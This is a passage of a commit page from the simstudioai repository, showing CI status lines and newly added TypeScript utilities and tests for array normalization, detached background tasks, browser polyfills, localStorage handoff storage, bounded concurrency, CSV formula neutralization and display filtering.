chore: import upstream snapshot with attribution
Publish CLI Package / publish-npm (push) Waiting to run
Publish Python SDK / publish-pypi (push) Waiting to run
Publish TypeScript SDK / publish-npm (push) Waiting to run
CI / Migrate Dev DB (push) Has been skipped
CI / Detect Version (push) Has been cancelled
CI / Migrate DB (push) Has been cancelled
CI / Build Dev ECR (./docker/app.Dockerfile, ECR_APP) (push) Has been cancelled
CI / Build Dev ECR (./docker/db.Dockerfile, ECR_MIGRATIONS) (push) Has been cancelled
CI / Build Dev ECR (./docker/pii.Dockerfile, ECR_PII) (push) Has been cancelled
CI / Build Dev ECR (./docker/realtime.Dockerfile, ECR_REALTIME) (push) Has been cancelled
CI / Deploy Trigger.dev (Dev) (push) Has been cancelled
CI / Build AMD64 (./docker/app.Dockerfile, ECR_APP, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build AMD64 (./docker/db.Dockerfile, ECR_MIGRATIONS, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build AMD64 (./docker/pii.Dockerfile, ECR_PII, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build AMD64 (./docker/realtime.Dockerfile, ECR_REALTIME, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/app.Dockerfile, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/db.Dockerfile, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/pii.Dockerfile, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/realtime.Dockerfile, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Check Docs Changes (push) Has been cancelled
CI / Process Docs (push) Has been cancelled
CI / Create GitHub Release (push) Has been cancelled
CI / Test and Build (push) Has been cancelled
Publish CLI Package / publish-npm (push) Waiting to run
Publish Python SDK / publish-pypi (push) Waiting to run
Publish TypeScript SDK / publish-npm (push) Waiting to run
CI / Migrate Dev DB (push) Has been skipped
CI / Detect Version (push) Has been cancelled
CI / Migrate DB (push) Has been cancelled
CI / Build Dev ECR (./docker/app.Dockerfile, ECR_APP) (push) Has been cancelled
CI / Build Dev ECR (./docker/db.Dockerfile, ECR_MIGRATIONS) (push) Has been cancelled
CI / Build Dev ECR (./docker/pii.Dockerfile, ECR_PII) (push) Has been cancelled
CI / Build Dev ECR (./docker/realtime.Dockerfile, ECR_REALTIME) (push) Has been cancelled
CI / Deploy Trigger.dev (Dev) (push) Has been cancelled
CI / Build AMD64 (./docker/app.Dockerfile, ECR_APP, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build AMD64 (./docker/db.Dockerfile, ECR_MIGRATIONS, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build AMD64 (./docker/pii.Dockerfile, ECR_PII, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build AMD64 (./docker/realtime.Dockerfile, ECR_REALTIME, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/app.Dockerfile, ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/db.Dockerfile, ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/pii.Dockerfile, ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Build ARM64 (GHCR Only) (./docker/realtime.Dockerfile, ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/migrations) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/pii) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/realtime) (push) Has been cancelled
CI / Create GHCR Manifests (ghcr.io/simstudioai/simstudio) (push) Has been cancelled
CI / Check Docs Changes (push) Has been cancelled
CI / Process Docs (push) Has been cancelled
CI / Create GitHub Release (push) Has been cancelled
CI / Test and Build (push) Has been cancelled
This commit is contained in:
@@ -0,0 +1,13 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { normalizeStringArray } from '@/lib/core/utils/arrays'
|
||||
|
||||
describe('array normalization utilities', () => {
|
||||
it('normalizes string arrays loaded from untyped state', () => {
|
||||
expect(normalizeStringArray(['output-1', 2, 'output-2', null])).toEqual([
|
||||
'output-1',
|
||||
'output-2',
|
||||
])
|
||||
expect(normalizeStringArray('output-1')).toEqual([])
|
||||
expect(normalizeStringArray(undefined)).toEqual([])
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,10 @@
|
||||
/**
|
||||
* Normalizes optional string-list values loaded from untyped persisted state.
|
||||
*/
|
||||
export function normalizeStringArray(value: unknown): string[] {
|
||||
if (!Array.isArray(value)) {
|
||||
return []
|
||||
}
|
||||
|
||||
return value.filter((item): item is string => typeof item === 'string')
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { sleep } from '@sim/utils/helpers'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { runDetached } from '@/lib/core/utils/background'
|
||||
|
||||
const flushMicrotasks = () => sleep(0)
|
||||
|
||||
describe('runDetached', () => {
|
||||
it('runs the work without the caller awaiting it', async () => {
|
||||
const work = vi.fn().mockResolvedValue(undefined)
|
||||
|
||||
runDetached('test', work)
|
||||
|
||||
await flushMicrotasks()
|
||||
expect(work).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('swallows rejections so they do not surface as unhandled', async () => {
|
||||
const work = vi.fn().mockRejectedValue(new Error('boom'))
|
||||
|
||||
expect(() => runDetached('test', work)).not.toThrow()
|
||||
await flushMicrotasks()
|
||||
expect(work).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('swallows synchronous throws from work', async () => {
|
||||
const work = vi.fn(() => {
|
||||
throw new Error('sync boom')
|
||||
})
|
||||
|
||||
expect(() => runDetached('test', work)).not.toThrow()
|
||||
await flushMicrotasks()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,26 @@
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { toError } from '@sim/utils/errors'
|
||||
|
||||
const logger = createLogger('BackgroundTask')
|
||||
|
||||
/**
|
||||
* Runs work detached from the HTTP response so a caller (e.g. a cron job with a
|
||||
* short request timeout) receives an immediate response while processing
|
||||
* continues on the long-lived server process.
|
||||
*
|
||||
* `withRouteHandler` only wraps awaited work in its try/catch, so a detached
|
||||
* promise must catch its own rejection or it surfaces as an `unhandledRejection`.
|
||||
* The request-scoped AsyncLocalStorage context (request ID) is captured when the
|
||||
* work is scheduled and preserved across the detached continuation, so loggers
|
||||
* inside `work` keep the originating request ID.
|
||||
*
|
||||
* @param label - Identifier used in the failure log line.
|
||||
* @param work - The async work to run in the background.
|
||||
*/
|
||||
export function runDetached(label: string, work: () => Promise<unknown>): void {
|
||||
void Promise.resolve()
|
||||
.then(work)
|
||||
.catch((error) => {
|
||||
logger.error(`Background task failed: ${label}`, toError(error))
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* Polyfills for `Promise.withResolvers` (Safari < 17.4, Chrome < 119) and
|
||||
* `URL.parse` (Safari < 18, Chrome < 126), which pdf.js 5.x calls at
|
||||
* module-evaluation time. Without them, importing `react-pdf`/`pdfjs-dist`
|
||||
* throws before anything renders, so this module must be imported for its
|
||||
* side effects BEFORE those imports. The pdf.js worker runs in a separate
|
||||
* context these polyfills cannot reach; it is covered by serving pdf.js's
|
||||
* self-polyfilling legacy worker build (see pdf-viewer.tsx).
|
||||
*
|
||||
* Typed locally because the repo TS lib is ES2022, which predates both APIs.
|
||||
*/
|
||||
|
||||
interface PromiseWithResolversResult<T> {
|
||||
promise: Promise<T>
|
||||
resolve: (value: T | PromiseLike<T>) => void
|
||||
reject: (reason?: unknown) => void
|
||||
}
|
||||
|
||||
const promiseCtor = Promise as typeof Promise & {
|
||||
withResolvers?: <T>() => PromiseWithResolversResult<T>
|
||||
}
|
||||
|
||||
if (typeof promiseCtor.withResolvers !== 'function') {
|
||||
promiseCtor.withResolvers = <T>(): PromiseWithResolversResult<T> => {
|
||||
let resolve!: (value: T | PromiseLike<T>) => void
|
||||
let reject!: (reason?: unknown) => void
|
||||
const promise = new Promise<T>((res, rej) => {
|
||||
resolve = res
|
||||
reject = rej
|
||||
})
|
||||
return { promise, resolve, reject }
|
||||
}
|
||||
}
|
||||
|
||||
const urlCtor = URL as typeof URL & {
|
||||
parse?: (url: string | URL, base?: string | URL) => URL | null
|
||||
}
|
||||
|
||||
if (typeof urlCtor.parse !== 'function') {
|
||||
urlCtor.parse = (url: string | URL, base?: string | URL): URL | null => {
|
||||
try {
|
||||
return new URL(url, base)
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
/**
|
||||
* @vitest-environment jsdom
|
||||
*/
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import { MothershipHandoffStorage, STORAGE_KEYS } from '@/lib/core/utils/browser-storage'
|
||||
import type { ChatContext } from '@/stores/panel'
|
||||
|
||||
const WS = 'ws-1'
|
||||
|
||||
describe('MothershipHandoffStorage', () => {
|
||||
beforeEach(() => {
|
||||
localStorage.clear()
|
||||
})
|
||||
|
||||
it('round-trips a handoff and trims the message, preserving contexts', () => {
|
||||
const contexts: ChatContext[] = [{ kind: 'logs', executionId: 'run-1', label: 'My Flow' }]
|
||||
expect(MothershipHandoffStorage.store({ message: ' fix it ', contexts }, WS)).toBe(true)
|
||||
|
||||
expect(MothershipHandoffStorage.consume(WS)).toEqual({ message: 'fix it', contexts })
|
||||
})
|
||||
|
||||
it('is one-shot — a second consume returns null', () => {
|
||||
MothershipHandoffStorage.store({ message: 'fix it' }, WS)
|
||||
|
||||
expect(MothershipHandoffStorage.consume(WS)).not.toBeNull()
|
||||
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
|
||||
})
|
||||
|
||||
it('refuses to store without a message or workspace', () => {
|
||||
expect(MothershipHandoffStorage.store({ message: ' ' }, WS)).toBe(false)
|
||||
expect(MothershipHandoffStorage.store({ message: 'fix it' }, '')).toBe(false)
|
||||
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
|
||||
})
|
||||
|
||||
it('leaves a handoff owned by another workspace untouched for its owner', () => {
|
||||
MothershipHandoffStorage.store({ message: 'fix it' }, WS)
|
||||
|
||||
// A different workspace must not claim it, and must not clear it.
|
||||
expect(MothershipHandoffStorage.consume('ws-other')).toBeNull()
|
||||
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).not.toBeNull()
|
||||
|
||||
// The owning workspace still consumes it.
|
||||
expect(MothershipHandoffStorage.consume(WS)).toEqual({ message: 'fix it', contexts: undefined })
|
||||
})
|
||||
|
||||
it('tombstones a corrupted entry (missing timestamp) instead of leaving it forever', () => {
|
||||
localStorage.setItem(
|
||||
STORAGE_KEYS.MOTHERSHIP_HANDOFF,
|
||||
JSON.stringify({ message: 'fix it', workspaceId: WS })
|
||||
)
|
||||
|
||||
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
|
||||
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).toBeNull()
|
||||
})
|
||||
|
||||
it('tombstones a legacy entry (message + timestamp, no workspaceId) rather than firing it', () => {
|
||||
// The old pre-scoping format could be sitting in storage across a deploy —
|
||||
// it must be discarded, not attributed to the current workspace.
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
vi.setSystemTime(new Date('2026-01-01T00:00:00Z'))
|
||||
localStorage.setItem(
|
||||
STORAGE_KEYS.MOTHERSHIP_HANDOFF,
|
||||
JSON.stringify({ message: 'fix it', timestamp: Date.now() })
|
||||
)
|
||||
|
||||
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
|
||||
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).toBeNull()
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
|
||||
it('drops and clears a handoff older than maxAge', () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
vi.setSystemTime(new Date('2026-01-01T00:00:00Z'))
|
||||
MothershipHandoffStorage.store({ message: 'fix it' }, WS)
|
||||
|
||||
vi.advanceTimersByTime(61 * 1000)
|
||||
|
||||
expect(MothershipHandoffStorage.consume(WS)).toBeNull()
|
||||
expect(localStorage.getItem(STORAGE_KEYS.MOTHERSHIP_HANDOFF)).toBeNull()
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,382 @@
|
||||
/**
|
||||
* Safe localStorage utilities with SSR support
|
||||
* Provides clean error handling and type safety for browser storage operations
|
||||
*/
|
||||
|
||||
import { createLogger } from '@sim/logger'
|
||||
import type { ChatContext } from '@/stores/panel'
|
||||
|
||||
const logger = createLogger('BrowserStorage')
|
||||
|
||||
/**
|
||||
* Safe localStorage operations with fallbacks
|
||||
*/
|
||||
export class BrowserStorage {
|
||||
/**
|
||||
* Safely gets an item from localStorage
|
||||
* @param key - The storage key
|
||||
* @param defaultValue - The default value to return if key doesn't exist or access fails
|
||||
* @returns The stored value or default value
|
||||
*/
|
||||
static getItem<T = string>(key: string, defaultValue: T): T {
|
||||
if (typeof window === 'undefined') {
|
||||
return defaultValue
|
||||
}
|
||||
|
||||
try {
|
||||
const item = window.localStorage.getItem(key)
|
||||
if (item === null) {
|
||||
return defaultValue
|
||||
}
|
||||
|
||||
try {
|
||||
return JSON.parse(item) as T
|
||||
} catch {
|
||||
return item as T
|
||||
}
|
||||
} catch (error) {
|
||||
logger.warn(`Failed to get localStorage item "${key}":`, error)
|
||||
return defaultValue
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Safely sets an item in localStorage
|
||||
* @param key - The storage key
|
||||
* @param value - The value to store
|
||||
* @returns True if successful, false otherwise
|
||||
*/
|
||||
static setItem<T>(key: string, value: T): boolean {
|
||||
if (typeof window === 'undefined') {
|
||||
return false
|
||||
}
|
||||
|
||||
try {
|
||||
const serializedValue = typeof value === 'string' ? value : JSON.stringify(value)
|
||||
window.localStorage.setItem(key, serializedValue)
|
||||
return true
|
||||
} catch (error) {
|
||||
logger.warn(`Failed to set localStorage item "${key}":`, error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Safely removes an item from localStorage
|
||||
* @param key - The storage key to remove
|
||||
* @returns True if successful, false otherwise
|
||||
*/
|
||||
static removeItem(key: string): boolean {
|
||||
if (typeof window === 'undefined') {
|
||||
return false
|
||||
}
|
||||
|
||||
try {
|
||||
window.localStorage.removeItem(key)
|
||||
return true
|
||||
} catch (error) {
|
||||
logger.warn(`Failed to remove localStorage item "${key}":`, error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if localStorage is available
|
||||
* @returns True if localStorage is available and accessible
|
||||
*/
|
||||
static isAvailable(): boolean {
|
||||
if (typeof window === 'undefined') {
|
||||
return false
|
||||
}
|
||||
|
||||
try {
|
||||
const testKey = '__test_localStorage_availability__'
|
||||
window.localStorage.setItem(testKey, 'test')
|
||||
window.localStorage.removeItem(testKey)
|
||||
return true
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export const STORAGE_KEYS = {
|
||||
LANDING_PAGE_PROMPT: 'sim_landing_page_prompt',
|
||||
LANDING_PAGE_WORKFLOW_SEED: 'sim_landing_page_workflow_seed',
|
||||
WORKSPACE_RECENCY: 'sim_workspace_recency',
|
||||
MOTHERSHIP_HANDOFF: 'sim_mothership_handoff',
|
||||
} as const
|
||||
|
||||
export class WorkspaceRecencyStorage {
|
||||
private static readonly KEY = STORAGE_KEYS.WORKSPACE_RECENCY
|
||||
|
||||
static touch(workspaceId: string): void {
|
||||
const map = WorkspaceRecencyStorage.getAll()
|
||||
map[workspaceId] = Date.now()
|
||||
BrowserStorage.setItem(WorkspaceRecencyStorage.KEY, map)
|
||||
}
|
||||
|
||||
static getAll(): Record<string, number> {
|
||||
return BrowserStorage.getItem<Record<string, number>>(WorkspaceRecencyStorage.KEY, {})
|
||||
}
|
||||
|
||||
static getMostRecent(): string | null {
|
||||
const map = WorkspaceRecencyStorage.getAll()
|
||||
const entries = Object.entries(map)
|
||||
if (entries.length === 0) return null
|
||||
entries.sort((a, b) => b[1] - a[1])
|
||||
return entries[0][0]
|
||||
}
|
||||
|
||||
static remove(workspaceId: string): void {
|
||||
const map = WorkspaceRecencyStorage.getAll()
|
||||
delete map[workspaceId]
|
||||
BrowserStorage.setItem(WorkspaceRecencyStorage.KEY, map)
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes localStorage entries for workspace IDs not in the provided list.
|
||||
* Call from effects or event handlers, not during render.
|
||||
*/
|
||||
static prune(validIds: Set<string>): void {
|
||||
const map = WorkspaceRecencyStorage.getAll()
|
||||
let pruned = false
|
||||
for (const id of Object.keys(map)) {
|
||||
if (!validIds.has(id)) {
|
||||
delete map[id]
|
||||
pruned = true
|
||||
}
|
||||
}
|
||||
if (pruned) {
|
||||
BrowserStorage.setItem(WorkspaceRecencyStorage.KEY, map)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sorts workspaces by recency (most recent first).
|
||||
* Workspaces without a recorded timestamp are placed after tracked ones.
|
||||
* Pure function safe for use in render-phase computations.
|
||||
*/
|
||||
static sortByRecency<T extends { id: string }>(workspaces: T[]): T[] {
|
||||
const map = WorkspaceRecencyStorage.getAll()
|
||||
return [...workspaces].sort((a, b) => {
|
||||
const aTime = map[a.id] ?? 0
|
||||
const bTime = map[b.id] ?? 0
|
||||
return bTime - aTime
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Specialized utility for managing the landing page prompt
|
||||
*/
|
||||
export class LandingPromptStorage {
|
||||
private static readonly KEY = STORAGE_KEYS.LANDING_PAGE_PROMPT
|
||||
|
||||
/**
|
||||
* Store a prompt from the landing page
|
||||
* @param prompt - The prompt text to store
|
||||
* @returns True if successful, false otherwise
|
||||
*/
|
||||
static store(prompt: string): boolean {
|
||||
if (!prompt || prompt.trim().length === 0) {
|
||||
return false
|
||||
}
|
||||
|
||||
const data = {
|
||||
prompt: prompt.trim(),
|
||||
timestamp: Date.now(),
|
||||
}
|
||||
|
||||
return BrowserStorage.setItem(LandingPromptStorage.KEY, data)
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieve and consume the stored prompt
|
||||
* @param maxAge - Maximum age of the prompt in milliseconds (default: 24 hours)
|
||||
* @returns The stored prompt or null if not found/expired
|
||||
*/
|
||||
static consume(maxAge: number = 24 * 60 * 60 * 1000): string | null {
|
||||
const data = BrowserStorage.getItem<{ prompt: string; timestamp: number } | null>(
|
||||
LandingPromptStorage.KEY,
|
||||
null
|
||||
)
|
||||
|
||||
if (!data || !data.prompt || !data.timestamp) {
|
||||
return null
|
||||
}
|
||||
|
||||
const age = Date.now() - data.timestamp
|
||||
if (age > maxAge) {
|
||||
LandingPromptStorage.clear()
|
||||
return null
|
||||
}
|
||||
|
||||
LandingPromptStorage.clear()
|
||||
return data.prompt
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if there's a stored prompt without consuming it
|
||||
* @param maxAge - Maximum age of the prompt in milliseconds (default: 24 hours)
|
||||
* @returns True if there's a valid prompt, false otherwise
|
||||
*/
|
||||
static hasPrompt(maxAge: number = 24 * 60 * 60 * 1000): boolean {
|
||||
const data = BrowserStorage.getItem<{ prompt: string; timestamp: number } | null>(
|
||||
LandingPromptStorage.KEY,
|
||||
null
|
||||
)
|
||||
|
||||
if (!data || !data.prompt || !data.timestamp) {
|
||||
return false
|
||||
}
|
||||
|
||||
const age = Date.now() - data.timestamp
|
||||
if (age > maxAge) {
|
||||
LandingPromptStorage.clear()
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear the stored prompt
|
||||
* @returns True if successful, false otherwise
|
||||
*/
|
||||
static clear(): boolean {
|
||||
return BrowserStorage.removeItem(LandingPromptStorage.KEY)
|
||||
}
|
||||
}
|
||||
|
||||
export interface LandingWorkflowSeed {
|
||||
templateId: string
|
||||
workflowName: string
|
||||
workflowDescription?: string
|
||||
workflowJson: string
|
||||
}
|
||||
|
||||
/**
|
||||
* Specialized utility for managing a landing-page workflow seed.
|
||||
* Stores a workflow export JSON so it can be imported after signup.
|
||||
*/
|
||||
export class LandingWorkflowSeedStorage {
|
||||
private static readonly KEY = STORAGE_KEYS.LANDING_PAGE_WORKFLOW_SEED
|
||||
|
||||
static store(seed: LandingWorkflowSeed): boolean {
|
||||
if (!seed.templateId || !seed.workflowName || !seed.workflowJson) {
|
||||
return false
|
||||
}
|
||||
|
||||
return BrowserStorage.setItem(LandingWorkflowSeedStorage.KEY, {
|
||||
...seed,
|
||||
timestamp: Date.now(),
|
||||
})
|
||||
}
|
||||
|
||||
static consume(maxAge: number = 24 * 60 * 60 * 1000): LandingWorkflowSeed | null {
|
||||
const data = BrowserStorage.getItem<(LandingWorkflowSeed & { timestamp: number }) | null>(
|
||||
LandingWorkflowSeedStorage.KEY,
|
||||
null
|
||||
)
|
||||
|
||||
if (!data || !data.templateId || !data.workflowName || !data.timestamp || !data.workflowJson) {
|
||||
return null
|
||||
}
|
||||
|
||||
if (Date.now() - data.timestamp > maxAge) {
|
||||
LandingWorkflowSeedStorage.clear()
|
||||
return null
|
||||
}
|
||||
|
||||
LandingWorkflowSeedStorage.clear()
|
||||
const { timestamp: _timestamp, ...seed } = data
|
||||
return seed
|
||||
}
|
||||
|
||||
static clear(): boolean {
|
||||
return BrowserStorage.removeItem(LandingWorkflowSeedStorage.KEY)
|
||||
}
|
||||
}
|
||||
|
||||
export interface MothershipHandoff {
|
||||
/** The message to auto-send to Chat once the home surface mounts. */
|
||||
message: string
|
||||
/** Structured contexts to attach — e.g. a `logs` mention tagging a run. */
|
||||
contexts?: ChatContext[]
|
||||
}
|
||||
|
||||
/**
|
||||
* One-shot handoff that seeds an auto-sent Chat (mothership) message when the
|
||||
* user is routed to the workspace home from elsewhere in the app — e.g. the
|
||||
* "Troubleshoot in Chat" action on an errored log, which tags the failed run
|
||||
* and asks Sim to fix it.
|
||||
*
|
||||
* The home surface consumes this exactly once on mount. A short max-age guards
|
||||
* against a stale handoff firing on a later, unrelated visit, and `consume`
|
||||
* always clears the entry so it can never be replayed.
|
||||
*/
|
||||
export class MothershipHandoffStorage {
|
||||
private static readonly KEY = STORAGE_KEYS.MOTHERSHIP_HANDOFF
|
||||
|
||||
/**
|
||||
* Store a handoff to be auto-sent on the next home-surface mount, scoped to
|
||||
* the workspace it targets so a different workspace never claims it.
|
||||
* @returns True if stored, false when the message or workspace is empty.
|
||||
*/
|
||||
static store(handoff: MothershipHandoff, workspaceId: string): boolean {
|
||||
const message = handoff.message.trim()
|
||||
if (!message || !workspaceId) {
|
||||
return false
|
||||
}
|
||||
|
||||
return BrowserStorage.setItem(MothershipHandoffStorage.KEY, {
|
||||
message,
|
||||
contexts: handoff.contexts,
|
||||
workspaceId,
|
||||
timestamp: Date.now(),
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieve and consume the stored handoff for `workspaceId`. A handoff owned
|
||||
* by a different workspace is left untouched for its owner — its tagged run
|
||||
* only resolves in its own workspace, so misfiring it elsewhere would drop the
|
||||
* context. The owner (and any legacy/corrupt entry) is tombstoned via `clear`
|
||||
* before the validity/expiry checks so it fires at most once and never lingers.
|
||||
* @param maxAge - Maximum age in milliseconds (default: 60 seconds)
|
||||
*/
|
||||
static consume(workspaceId: string, maxAge: number = 60 * 1000): MothershipHandoff | null {
|
||||
const data = BrowserStorage.getItem<{
|
||||
message?: string
|
||||
contexts?: ChatContext[]
|
||||
workspaceId?: string
|
||||
timestamp?: number
|
||||
} | null>(MothershipHandoffStorage.KEY, null)
|
||||
|
||||
if (!data) {
|
||||
return null
|
||||
}
|
||||
|
||||
if (data.workspaceId && data.workspaceId !== workspaceId) {
|
||||
return null
|
||||
}
|
||||
|
||||
MothershipHandoffStorage.clear()
|
||||
|
||||
if (
|
||||
!data.workspaceId ||
|
||||
!data.message ||
|
||||
!data.timestamp ||
|
||||
Date.now() - data.timestamp > maxAge
|
||||
) {
|
||||
return null
|
||||
}
|
||||
|
||||
return { message: data.message, contexts: data.contexts }
|
||||
}
|
||||
|
||||
static clear(): boolean {
|
||||
return BrowserStorage.removeItem(MothershipHandoffStorage.KEY)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
/**
|
||||
* Maps over `items` with at most `limit` concurrent invocations of `fn`,
|
||||
* preserving input order in the result. Use to bound fan-out (e.g. per-row
|
||||
* object-storage reads) so a large batch doesn't issue every request at once.
|
||||
*
|
||||
* Contract: `fn` MUST NOT reject. Results are awaited via `Promise.all`, so a
|
||||
* single rejection fails the entire batch (e.g. one bad row would break a whole
|
||||
* logs export/list page). Callers that materialize per-row data pass a total
|
||||
* mapper (one that catches and returns a degraded value rather than throwing);
|
||||
* keep it that way. If a future caller needs per-item isolation, add an
|
||||
* allSettled-style variant rather than letting a throwing mapper through here.
|
||||
*/
|
||||
export async function mapWithConcurrency<T, R>(
|
||||
items: readonly T[],
|
||||
limit: number,
|
||||
fn: (item: T, index: number) => Promise<R>
|
||||
): Promise<R[]> {
|
||||
const results = new Array<R>(items.length)
|
||||
const workerCount = Math.max(1, Math.min(limit, items.length))
|
||||
let cursor = 0
|
||||
|
||||
const worker = async (): Promise<void> => {
|
||||
while (true) {
|
||||
const index = cursor++
|
||||
if (index >= items.length) return
|
||||
results[index] = await fn(items[index], index)
|
||||
}
|
||||
}
|
||||
|
||||
await Promise.all(Array.from({ length: workerCount }, worker))
|
||||
return results
|
||||
}
|
||||
|
||||
/** Default bound for per-row object-storage materialization fan-out. */
|
||||
export const MATERIALIZE_CONCURRENCY = 20
|
||||
@@ -0,0 +1,7 @@
|
||||
/**
|
||||
* Prefixes a single quote to values starting with a spreadsheet formula trigger
|
||||
* (`=`, `+`, `-`, `@`, tab, CR), neutralizing CSV injection in Excel/Sheets.
|
||||
*/
|
||||
export function neutralizeCsvFormula(value: string): string {
|
||||
return /^[=+\-@\t\r]/.test(value) ? `'${value}` : value
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
import { filterUserFileForDisplay, isUserFile } from '@/lib/core/utils/user-file'
|
||||
|
||||
const MAX_STRING_LENGTH = 15000
|
||||
const MAX_DEPTH = 50
|
||||
|
||||
function truncateString(value: string, maxLength = MAX_STRING_LENGTH): string {
|
||||
if (value.length <= maxLength) {
|
||||
return value
|
||||
}
|
||||
return `${value.substring(0, maxLength)}... [truncated ${value.length - maxLength} chars]`
|
||||
}
|
||||
|
||||
function filterUserFile(data: any): any {
|
||||
if (isUserFile(data)) {
|
||||
return filterUserFileForDisplay(data)
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
const DISPLAY_FILTERS = [filterUserFile]
|
||||
|
||||
export function filterForDisplay(data: any): any {
|
||||
const seen = new Set<object>()
|
||||
return filterForDisplayInternal(data, seen, 0)
|
||||
}
|
||||
|
||||
function getObjectType(data: unknown): string {
|
||||
return Object.prototype.toString.call(data).slice(8, -1)
|
||||
}
|
||||
|
||||
function filterForDisplayInternal(data: any, seen: Set<object>, depth: number): any {
|
||||
try {
|
||||
if (data === null || data === undefined) {
|
||||
return data
|
||||
}
|
||||
|
||||
const dataType = typeof data
|
||||
|
||||
if (dataType === 'string') {
|
||||
// Remove null bytes which are not allowed in PostgreSQL JSONB
|
||||
const sanitized = data.includes('\u0000') ? data.replace(/\u0000/g, '') : data
|
||||
return truncateString(sanitized)
|
||||
}
|
||||
|
||||
if (dataType === 'number') {
|
||||
if (Number.isNaN(data)) {
|
||||
return '[NaN]'
|
||||
}
|
||||
if (!Number.isFinite(data)) {
|
||||
return data > 0 ? '[Infinity]' : '[-Infinity]'
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
if (dataType === 'boolean') {
|
||||
return data
|
||||
}
|
||||
|
||||
if (dataType === 'bigint') {
|
||||
return `[BigInt: ${data.toString()}]`
|
||||
}
|
||||
|
||||
if (dataType === 'symbol') {
|
||||
return `[Symbol: ${data.toString()}]`
|
||||
}
|
||||
|
||||
if (dataType === 'function') {
|
||||
return `[Function: ${data.name || 'anonymous'}]`
|
||||
}
|
||||
|
||||
if (dataType !== 'object') {
|
||||
return '[Unknown Type]'
|
||||
}
|
||||
|
||||
// True circular reference: object is an ancestor in the current path
|
||||
if (seen.has(data)) {
|
||||
return '[Circular Reference]'
|
||||
}
|
||||
|
||||
if (depth > MAX_DEPTH) {
|
||||
return '[Max Depth Exceeded]'
|
||||
}
|
||||
|
||||
const objectType = getObjectType(data)
|
||||
|
||||
switch (objectType) {
|
||||
case 'Date': {
|
||||
const timestamp = (data as Date).getTime()
|
||||
if (Number.isNaN(timestamp)) {
|
||||
return '[Invalid Date]'
|
||||
}
|
||||
return (data as Date).toISOString()
|
||||
}
|
||||
|
||||
case 'RegExp':
|
||||
return (data as RegExp).toString()
|
||||
|
||||
case 'URL':
|
||||
return (data as URL).toString()
|
||||
|
||||
case 'Error': {
|
||||
